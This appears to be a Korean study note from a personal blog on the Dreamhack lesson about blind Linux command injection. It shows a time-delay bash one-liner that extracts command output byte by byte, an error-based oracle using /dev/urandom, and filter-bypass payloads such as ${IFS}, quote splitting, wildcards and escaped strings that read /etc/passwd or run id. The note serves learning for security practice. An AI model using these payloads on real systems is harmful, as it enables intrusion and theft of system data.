Dreamhack - Command Injection for Linux 2

양병수·2022년 10월 18일
0

individual

목록 보기
3/4
post-custom-banner

실행 결과를 확인할 수 없는 환경 2

이번 글은 네트워크의 인 / 아웃 바운드 제한이 있을때 공격하는 방법에 관한 글이다.

공격 대상 서버에 네트워크 방화벽을 설정한 경우 리버스 쉘 / 바인드 쉘을 이용한 공격은 어려울 수 있다. 이런 경우 참 / 거짓 비교문으로 데이터를 알아낼 수 있다.

  • 시간 지연

    • 명령어의 결과를 base 64 로 인코딩 한후 그 값을 한 바이트씩 참 / 거짓을 비교하여 데이터를 알아낸다.
    • ex) id 명령어 예시
      • id | base64 -w 0
      • bash -c "a=\$(id | base64 -w 0); if [\${a:0:1} == 'd' ]; then sleep 2; fi;"
      • 노트: -c 옵션, $ 의미, -w 옵션
  • 에러

    • 앞선 방법과 똑같은 방법으로 작성한 후 sleep 명령어 대신 메모리를 많이 소모하는 명령어를 입력하는 등의 행위로 Internal Server 에러를 발행시키며 참 / 거짓을 판별한다.
    • ex) cat /dev/urandom

입력 값이 제한된 환경

  • 공백 문자 우회
    • cat${IFS}/etc/passwd
      • IFS: 문자열을 나눌때 기준이 되는 문자를 정의 하는 환경변수
    • X=$'\x20';cat${X}/etc/passwd
    • cat</etc/passwd
  • 키워드 필터링 우회
    • cat 문자열 우회
      • /bin/c?t
      • c''a""t
      • c${invalid_variable}a${XX}t
    • id 문자열 우회
      • "\x69\x64"
      • '\151\144'
      • '\x69\x64'
post-custom-banner

0개의 댓글